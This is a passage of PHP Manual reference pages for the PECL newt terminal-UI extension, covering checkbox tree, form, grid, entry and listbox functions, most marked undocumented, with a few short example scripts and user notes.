  • Newt Functions
  • Description

newt_checkbox_tree_multi

(PECL newt >= 0.1)

newt_checkbox_tree_multi —

Description

resource newt_checkbox_tree_multi ( int $left , int $top , int $height , string $seq [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

height

seq

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_checkbox_tree_multi
  • newt_checkbox_tree_set_entry_value »
  • PHP Manual
  • Newt Functions
  • Description

newt_checkbox_tree_set_current

(PECL newt >= 0.1)

newt_checkbox_tree_set_current —

Description

void newt_checkbox_tree_set_current ( resource $checkboxtree , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

data

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_checkbox_tree_set_current
  • newt_checkbox_tree_set_entry »
  • PHP Manual
  • Newt Functions
  • Description

newt_checkbox_tree_set_entry_value

(PECL newt >= 0.1)

newt_checkbox_tree_set_entry_value —

Description

void newt_checkbox_tree_set_entry_value ( resource $checkboxtree , mixed $data , string $value )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

data

value

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_checkbox_tree_set_entry_value
  • newt_checkbox_tree_set_width »
  • PHP Manual
  • Newt Functions
  • Description

newt_checkbox_tree_set_entry

(PECL newt >= 0.1)

newt_checkbox_tree_set_entry —

Description

void newt_checkbox_tree_set_entry ( resource $checkboxtree , mixed $data , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

data

text

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_checkbox_tree_set_entry
  • newt_checkbox_tree »
  • PHP Manual
  • Newt Functions
  • Description

newt_checkbox_tree_set_width

(PECL newt >= 0.1)

newt_checkbox_tree_set_width —

Description

void newt_checkbox_tree_set_width ( resource $checkbox_tree , int $width )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkbox_tree

width

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_checkbox_tree_set_width
  • newt_checkbox »
  • PHP Manual
  • Newt Functions
  • Description

newt_checkbox_tree

(PECL newt >= 0.1)

newt_checkbox_tree —

Description

resource newt_checkbox_tree ( int $left , int $top , int $height [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

height

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_checkbox_tree
  • newt_clear_key_buffer »
  • PHP Manual
  • Newt Functions
  • Description

newt_checkbox

(PECL newt >= 0.1)

newt_checkbox —

Description

resource newt_checkbox ( int $left , int $top , string $text , string $def_value [, string $seq ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

text

def_value

seq

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Discards the contents of the terminal's input buffer without waiting for additional input

  • « newt_checkbox
  • newt_cls »
  • PHP Manual
  • Newt Functions
  • Discards the contents of the terminal's input buffer without waiting for additional input

newt_clear_key_buffer

(PECL newt >= 0.1)

newt_clear_key_buffer — Discards the contents of the terminal's input buffer without waiting for additional input

Description

void newt_clear_key_buffer ( void )

Discards the contents of the terminal's input buffer without waiting for additional input.

Return Values

No value is returned.

See Also

  • newt_wait_for_key() - Doesn't return until a key has been pressed

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_clear_key_buffer
  • newt_compact_button »
  • PHP Manual
  • Newt Functions
  • Description

newt_cls

(PECL newt >= 0.1)

newt_cls —

Description

void newt_cls ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_cls
  • newt_component_add_callback »
  • PHP Manual
  • Newt Functions
  • Description

newt_compact_button

(PECL newt >= 0.1)

newt_compact_button —

Description

resource newt_compact_button ( int $left , int $top , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

text

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_compact_button
  • newt_component_takes_focus »
  • PHP Manual
  • Newt Functions
  • Description

newt_component_add_callback

(PECL newt >= 0.1)

newt_component_add_callback —

Description

void newt_component_add_callback ( resource $component , mixed $func_name , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

component

func_name

data

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_component_add_callback
  • newt_create_grid »
  • PHP Manual
  • Newt Functions
  • Description

newt_component_takes_focus

(PECL newt >= 0.1)

newt_component_takes_focus —

Description

void newt_component_takes_focus ( resource $component , bool $takes_focus )
Warning

This function is currently not documented; only its argument list is available.

Parameters

component

takes_focus

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_component_takes_focus
  • newt_cursor_off »
  • PHP Manual
  • Newt Functions
  • Description

newt_create_grid

(PECL newt >= 0.1)

newt_create_grid —

Description

resource newt_create_grid ( int $cols , int $rows )
Warning

This function is currently not documented; only its argument list is available.

Parameters

cols

rows

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_create_grid
  • newt_cursor_on »
  • PHP Manual
  • Newt Functions
  • Description

newt_cursor_off

(PECL newt >= 0.1)

newt_cursor_off —

Description

void newt_cursor_off ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_cursor_off
  • newt_delay »
  • PHP Manual
  • Newt Functions
  • Description

newt_cursor_on

(PECL newt >= 0.1)

newt_cursor_on —

Description

void newt_cursor_on ( void )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_cursor_on
  • newt_draw_form »
  • PHP Manual
  • Newt Functions
  • Description

newt_delay

(PECL newt >= 0.1)

newt_delay —

Description

void newt_delay ( int $microseconds )
Warning

This function is currently not documented; only its argument list is available.

Parameters

microseconds

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_delay
  • newt_draw_root_text »
  • PHP Manual
  • Newt Functions
  • Description

newt_draw_form

(PECL newt >= 0.1)

newt_draw_form —

Description

void newt_draw_form ( resource $form )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Displays the string text at the position indicated

  • « newt_draw_form
  • newt_entry_get_value »
  • PHP Manual
  • Newt Functions
  • Displays the string text at the position indicated

newt_draw_root_text

(PECL newt >= 0.1)

newt_draw_root_text — Displays the string text at the position indicated

Description

void newt_draw_root_text ( int $left , int $top , string $text )

Displays the string text at the position indicated.

Parameters

left

Column number

Note:

If left is negative, the position is measured from the opposite side of the screen.

top

Line number

Note:

If top is negative, the position is measured from the opposite side of the screen.

text

Text to display.

Return Values

No value is returned.

Examples

Example #1 A newt_draw_root_text() example

This code demonstrates drawing of titles in the both corners of the screen.

<?php
 newt_init();
 newt_cls();

 newt_draw_root_text (2, 0, "Some root text");
 newt_refresh();
 sleep(1);

 newt_draw_root_text (-30, 0, "Root text in the other corner");
 newt_refresh();
 sleep(1);

 newt_finished();
?>

See Also

  • newt_push_help_line() - Saves the current help line on a stack, and displays the new line
  • newt_pop_help_line() - Replaces the current help line with the one from the stack

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_draw_root_text
  • newt_entry_set_filter »
  • PHP Manual
  • Newt Functions
  • Description

newt_entry_get_value

(PECL newt >= 0.1)

newt_entry_get_value —

Description

string newt_entry_get_value ( resource $entry )
Warning

This function is currently not documented; only its argument list is available.

Parameters

entry

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_entry_get_value
  • newt_entry_set_flags »
  • PHP Manual
  • Newt Functions
  • Description

newt_entry_set_filter

(PECL newt >= 0.1)

newt_entry_set_filter —

Description

void newt_entry_set_filter ( resource $entry , callable $filter , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

entry

filter

data

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_entry_set_filter
  • newt_entry_set »
  • PHP Manual
  • Newt Functions
  • Description

newt_entry_set_flags

(PECL newt >= 0.1)

newt_entry_set_flags —

Description

void newt_entry_set_flags ( resource $entry , int $flags , int $sense )
Warning

This function is currently not documented; only its argument list is available.

Parameters

entry

flags

sense

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_entry_set_flags
  • newt_entry »
  • PHP Manual
  • Newt Functions
  • Description

newt_entry_set

(PECL newt >= 0.1)

newt_entry_set —

Description

void newt_entry_set ( resource $entry , string $value [, bool $cursor_at_end ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

entry

value

cursor_at_end

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_entry_set
  • newt_finished »
  • PHP Manual
  • Newt Functions
  • Description

newt_entry

(PECL newt >= 0.1)

newt_entry —

Description

resource newt_entry ( int $left , int $top , int $width [, string $init_value [, int $flags ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

width

init_value

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Uninitializes newt interface

  • « newt_entry
  • newt_form_add_component »
  • PHP Manual
  • Newt Functions
  • Uninitializes newt interface

newt_finished

(PECL newt >= 0.1)

newt_finished — Uninitializes newt interface

Description

int newt_finished ( void )

Uninitializes newt interface. This function be called, when program is ready to exit.

Return Values

Returns 1 on success, 0 on failure.

See Also

  • newt_init() - Initialize newt

User Contributed Notes

There are no user contributed notes for this page.


Adds a single component to the form

  • « newt_finished
  • newt_form_add_components »
  • PHP Manual
  • Newt Functions
  • Adds a single component to the form

newt_form_add_component

(PECL newt >= 0.1)

newt_form_add_component — Adds a single component to the form

Description

void newt_form_add_component ( resource $form , resource $component )

Adds a single component to the form.

Parameters

form

Form to which component will be added

component

Component to add to the form

Return Values

No value is returned.

Examples

Example #1 A newt_form_add_component() example

<?php
$form = newt_form();

$options = array("Authentication configuration", "Firewall configuration",
"Mouse configuration", "Network configuration", "Printer configuration",
"System services");

$list = newt_listbox(3, 2, 10);

foreach ($options as $l_item) {
    newt_listbox_add_entry($list, $l_item, $l_item);
}

newt_form_add_component($form, $list);
?>

See Also

  • newt_form_add_components() - Add several components to the form

User Contributed Notes

There are no user contributed notes for this page.


Add several components to the form

  • « newt_form_add_component
  • newt_form_add_hot_key »
  • PHP Manual
  • Newt Functions
  • Add several components to the form

newt_form_add_components

(PECL newt >= 0.1)

newt_form_add_components — Add several components to the form

Description

void newt_form_add_components ( resource $form , array $components )

Adds several components to the form.

Parameters

form

Form to which components will be added

components

Array of components to add to the form

Return Values

No value is returned.

Examples

Example #1 A newt_form_add_components() example

<?php
$form = newt_form();

$b1 = newt_button(5, 12, "Run Tool");
$b2 = newt_button(21, 12, "Quit");

newt_form_add_components($form, array($b1, $b2));
?>

See Also

  • newt_form_add_component() - Adds a single component to the form

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_form_add_components
  • newt_form_destroy »
  • PHP Manual
  • Newt Functions
  • Description

newt_form_add_hot_key

(PECL newt >= 0.1)

newt_form_add_hot_key —

Description

void newt_form_add_hot_key ( resource $form , int $key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

key

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Destroys a form

  • « newt_form_add_hot_key
  • newt_form_get_current »
  • PHP Manual
  • Newt Functions
  • Destroys a form

newt_form_destroy

(PECL newt >= 0.1)

newt_form_destroy — Destroys a form

Description

void newt_form_destroy ( resource $form )

This function frees the memory resources used by the form and all of the components which have been added to the form (including those components which are on subforms). Once a form has been destroyed, none of the form's components can be used.

Parameters

form

Form component, which is going to be destroyed

Return Values

No value is returned.

See Also

  • newt_form_run() - Runs a form
  • newt_run_form() - Runs a form

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_form_destroy
  • newt_form_run »
  • PHP Manual
  • Newt Functions
  • Description

newt_form_get_current

(PECL newt >= 0.1)

newt_form_get_current —

Description

resource newt_form_get_current ( resource $form )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Runs a form

  • « newt_form_get_current
  • newt_form_set_background »
  • PHP Manual
  • Newt Functions
  • Runs a form

newt_form_run

(PECL newt >= 0.1)

newt_form_run — Runs a form

Description

void newt_form_run ( resource $form , array &$exit_struct )

This function runs the form passed to it.

Parameters

form

Form component

exit_struct

Array, used for returning information after running the form component. Keys and values are described in the following table:

Form Exit Structure
Index Key | Value Type | Description
reason | integer | The reason, why the form has been exited. Possible values are defined here.
watch | resource | Resource link, specified in newt_form_watch_fd()
key | integer | Hotkey
component | resource | Component, which caused the form to exit

Return Values

No value is returned.

See Also

  • newt_run_form() - Runs a form

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_form_run
  • newt_form_set_height »
  • PHP Manual
  • Newt Functions
  • Description

newt_form_set_background

(PECL newt >= 0.1)

newt_form_set_background —

Description

void newt_form_set_background ( resource $from , int $background )
Warning

This function is currently not documented; only its argument list is available.

Parameters

from

background

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_form_set_background
  • newt_form_set_size »
  • PHP Manual
  • Newt Functions
  • Description

newt_form_set_height

(PECL newt >= 0.1)

newt_form_set_height —

Description

void newt_form_set_height ( resource $form , int $height )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

height

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_form_set_height
  • newt_form_set_timer »
  • PHP Manual
  • Newt Functions
  • Description

newt_form_set_size

(PECL newt >= 0.1)

newt_form_set_size —

Description

void newt_form_set_size ( resource $form )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_form_set_size
  • newt_form_set_width »
  • PHP Manual
  • Newt Functions
  • Description

newt_form_set_timer

(PECL newt >= 0.1)

newt_form_set_timer —

Description

void newt_form_set_timer ( resource $form , int $milliseconds )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

milliseconds

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_form_set_timer
  • newt_form_watch_fd »
  • PHP Manual
  • Newt Functions
  • Description

newt_form_set_width

(PECL newt >= 0.1)

newt_form_set_width —

Description

void newt_form_set_width ( resource $form , int $width )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

width

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_form_set_width
  • newt_form »
  • PHP Manual
  • Newt Functions
  • Description

newt_form_watch_fd

(PECL newt >= 0.1)

newt_form_watch_fd —

Description

void newt_form_watch_fd ( resource $form , resource $stream [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

stream

flags

Return Values

No value is returned.

User Contributed Notes

jakub dot holdys at fancyfon dot com 05-Nov-2009 11:46
There is no special function to remove FD from watch. When I closed stream added to be watch, my script hanged.
<?php newt_form_watch_fd($form, $old_fd, 0); ?> seems to be solution of this issue.


Create a form

  • « newt_form_watch_fd
  • newt_get_screen_size »
  • PHP Manual
  • Newt Functions
  • Create a form

newt_form

(PECL newt >= 0.1)

newt_form — Create a form

Description

resource newt_form ([ resource $vert_bar [, string $help [, int $flags ]]] )

Create a new form.

Parameters

vert_bar

Vertical scrollbar which should be associated with the form

help

Help text string

flags

Various flags

Return Values

Returns a resource link to the created form component, or FALSE on error.

Examples

Example #1 A newt_form() example

Displays a single button "Quit", which closes the application once it's pressed.

<?php
newt_init();
newt_cls();

$myform = newt_form();
$button = newt_button (5, 12, "Quit");

newt_form_add_component ($myform, $button);
newt_refresh ();
newt_run_form ($myform);

newt_finished ();
newt_form_destroy ($myform);
?>

See Also

  • newt_form_run() - Runs a form
  • newt_run_form() - Runs a form
  • newt_form_add_component() - Adds a single component to the form
  • newt_form_add_components() - Add several components to the form
  • newt_form_destroy() - Destroys a form

User Contributed Notes

There are no user contributed notes for this page.


Fills in the passed references with the current size of the terminal

  • « newt_form
  • newt_grid_add_components_to_form »
  • PHP Manual
  • Newt Functions
  • Fills in the passed references with the current size of the terminal

newt_get_screen_size

(PECL newt >= 0.1)

newt_get_screen_size — Fills in the passed references with the current size of the terminal

Description

void newt_get_screen_size ( int &$cols , int &$rows )

Fills in the passed references with the current size of the terminal.

Parameters

cols

Number of columns in the terminal

rows

Number of rows in the terminal

Return Values

No value is returned.

Examples

Example #1 A newt_get_screen_size() example

This code prints out the screen size of your terminal.

<?php
 newt_init();
 newt_get_screen_size (&$cols, &$rows);
 newt_finished();

 print "Your terminal size is: {$cols}x{$rows}\n";
?>

The above example will output:

Your terminal size is: 138x47

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_get_screen_size
  • newt_grid_basic_window »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_add_components_to_form

(PECL newt >= 0.1)

newt_grid_add_components_to_form —

Description

void newt_grid_add_components_to_form ( resource $grid , resource $form , bool $recurse )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

form

recurse

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_add_components_to_form
  • newt_grid_free »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_basic_window

(PECL newt >= 0.1)

newt_grid_basic_window —

Description

resource newt_grid_basic_window ( resource $text , resource $middle , resource $buttons )
Warning

This function is currently not documented; only its argument list is available.

Parameters

text

middle

buttons

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_basic_window
  • newt_grid_get_size »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_free

(PECL newt >= 0.1)

newt_grid_free —

Description

void newt_grid_free ( resource $grid , bool $recurse )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

recurse

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_free
  • newt_grid_h_close_stacked »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_get_size

(PECL newt >= 0.1)

newt_grid_get_size —

Description

void newt_grid_get_size ( resouce $grid , int &$width , int &$height )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

width

height

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_get_size
  • newt_grid_h_stacked »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_h_close_stacked

(PECL newt >= 0.1)

newt_grid_h_close_stacked —

Description

resource newt_grid_h_close_stacked ( int $element1_type , resource $element1 [, int $... [, resource $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

element1_type

element1

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_h_close_stacked
  • newt_grid_place »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_h_stacked

(PECL newt >= 0.1)

newt_grid_h_stacked —

Description

resource newt_grid_h_stacked ( int $element1_type , resource $element1 [, int $... [, resource $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

element1_type

element1

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_h_stacked
  • newt_grid_set_field »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_place

(PECL newt >= 0.1)

newt_grid_place —

Description

void newt_grid_place ( resource $grid , int $left , int $top )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

left

top

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_place
  • newt_grid_simple_window »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_set_field

(PECL newt >= 0.1)

newt_grid_set_field —

Description

void newt_grid_set_field ( resource $grid , int $col , int $row , int $type , resource $val , int $pad_left , int $pad_top , int $pad_right , int $pad_bottom , int $anchor [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

col

row

type

val

pad_left

pad_top

pad_right

pad_bottom

anchor

flags

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_set_field
  • newt_grid_v_close_stacked »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_simple_window

(PECL newt >= 0.1)

newt_grid_simple_window —

Description

resource newt_grid_simple_window ( resource $text , resource $middle , resource $buttons )
Warning

This function is currently not documented; only its argument list is available.

Parameters

text

middle

buttons

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_simple_window
  • newt_grid_v_stacked »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_v_close_stacked

(PECL newt >= 0.1)

newt_grid_v_close_stacked —

Description

resource newt_grid_v_close_stacked ( int $element1_type , resource $element1 [, int $... [, resource $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

element1_type

element1

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_v_close_stacked
  • newt_grid_wrapped_window_at »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_v_stacked

(PECL newt >= 0.1)

newt_grid_v_stacked —

Description

resource newt_grid_v_stacked ( int $element1_type , resource $element1 [, int $... [, resource $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

element1_type

element1

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_v_stacked
  • newt_grid_wrapped_window »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_wrapped_window_at

(PECL newt >= 0.1)

newt_grid_wrapped_window_at —

Description

void newt_grid_wrapped_window_at ( resource $grid , string $title , int $left , int $top )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

title

left

top

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_grid_wrapped_window_at
  • newt_init »
  • PHP Manual
  • Newt Functions
  • Description

newt_grid_wrapped_window

(PECL newt >= 0.1)

newt_grid_wrapped_window —

Description

void newt_grid_wrapped_window ( resource $grid , string $title )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

title

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Initialize newt

  • « newt_grid_wrapped_window
  • newt_label_set_text »
  • PHP Manual
  • Newt Functions
  • Initialize newt

newt_init

(PECL newt >= 0.1)

newt_init — Initialize newt

Description

int newt_init ( void )

Initializes the newt interface. This function must be called before any other newt function.

Return Values

Returns 1 on success, 0 on failure.

See Also

  • newt_finished() - Uninitializes newt interface

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_init
  • newt_label »
  • PHP Manual
  • Newt Functions
  • Description

newt_label_set_text

(PECL newt >= 0.1)

newt_label_set_text —

Description

void newt_label_set_text ( resource $label , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

label

text

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_label_set_text
  • newt_listbox_append_entry »
  • PHP Manual
  • Newt Functions
  • Description

newt_label

(PECL newt >= 0.1)

newt_label —

Description

resource newt_label ( int $left , int $top , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

text

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_label
  • newt_listbox_clear_selection »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_append_entry

(PECL newt >= 0.1)

newt_listbox_append_entry —

Description

void newt_listbox_append_entry ( resource $listbox , string $text , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

text

data

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_append_entry
  • newt_listbox_clear »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_clear_selection

(PECL newt >= 0.1)

newt_listbox_clear_selection —

Description

void newt_listbox_clear_selection ( resource $listbox )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_clear_selection
  • newt_listbox_delete_entry »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_clear

(PECL newt >= 0.1)

newt_listbox_clear —

Description

void newt_listbox_clear ( resource $listobx )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listobx

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_clear
  • newt_listbox_get_current »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_delete_entry

(PECL newt >= 0.1)

newt_listbox_delete_entry —

Description

void newt_listbox_delete_entry ( resource $listbox , mixed $key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

key

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_delete_entry
  • newt_listbox_get_selection »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_get_current

(PECL newt >= 0.1)

newt_listbox_get_current —

Description

string newt_listbox_get_current ( resource $listbox )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

Return Values

User Contributed Notes

simon at bk dot it dot cx 08-Oct-2010 01:09
This function behaves a bit different than expected.
It doesn't return an string representing the chosen action, it returns an integer which is the index of the chosen action!


Description

  • « newt_listbox_get_current
  • newt_listbox_insert_entry »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_get_selection

(PECL newt >= 0.1)

newt_listbox_get_selection —

Description

array newt_listbox_get_selection ( resource $listbox )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_get_selection
  • newt_listbox_item_count »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_insert_entry

(PECL newt >= 0.1)

newt_listbox_insert_entry —

Description

void newt_listbox_insert_entry ( resource $listbox , string $text , mixed $data , mixed $key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

text

data

key

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_insert_entry
  • newt_listbox_select_item »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_item_count

(PECL newt >= 0.1)

newt_listbox_item_count —

Description

int newt_listbox_item_count ( resource $listbox )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_item_count
  • newt_listbox_set_current_by_key »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_select_item

(PECL newt >= 0.1)

newt_listbox_select_item —

Description

void newt_listbox_select_item ( resource $listbox , mixed $key , int $sense )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

key

sense

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_select_item
  • newt_listbox_set_current »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_set_current_by_key

(PECL newt >= 0.1)

newt_listbox_set_current_by_key —

Description

void newt_listbox_set_current_by_key ( resource $listbox , mixed $key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

key

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_set_current_by_key
  • newt_listbox_set_data »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_set_current

(PECL newt >= 0.1)

newt_listbox_set_current —

Description

void newt_listbox_set_current ( resource $listbox , int $num )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

num

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_set_current
  • newt_listbox_set_entry »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_set_data

(PECL newt >= 0.1)

newt_listbox_set_data —

Description

void newt_listbox_set_data ( resource $listbox , int $num , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

num

data

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_set_data
  • newt_listbox_set_width »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_set_entry

(PECL newt >= 0.1)

newt_listbox_set_entry —

Description

void newt_listbox_set_entry ( resource $listbox , int $num , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

num

text

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_set_entry
  • newt_listbox »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox_set_width

(PECL newt >= 0.1)

newt_listbox_set_width —

Description

void newt_listbox_set_width ( resource $listbox , int $width )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

width

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox_set_width
  • newt_listitem_get_data »
  • PHP Manual
  • Newt Functions
  • Description

newt_listbox

(PECL newt >= 0.1)

newt_listbox —

Description

resource newt_listbox ( int $left , int $top , int $height [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

height

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listbox
  • newt_listitem_set »
  • PHP Manual
  • Newt Functions
  • Description

newt_listitem_get_data

(PECL newt >= 0.1)

newt_listitem_get_data —

Description

mixed newt_listitem_get_data ( resource $item )
Warning

This function is currently not documented; only its argument list is available.

Parameters

item

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listitem_get_data
  • newt_listitem »
  • PHP Manual
  • Newt Functions
  • Description

newt_listitem_set

(PECL newt >= 0.1)

newt_listitem_set —

Description

void newt_listitem_set ( resource $item , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

item

text

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_listitem_set
  • newt_open_window »
  • PHP Manual
  • Newt Functions
  • Description

newt_listitem

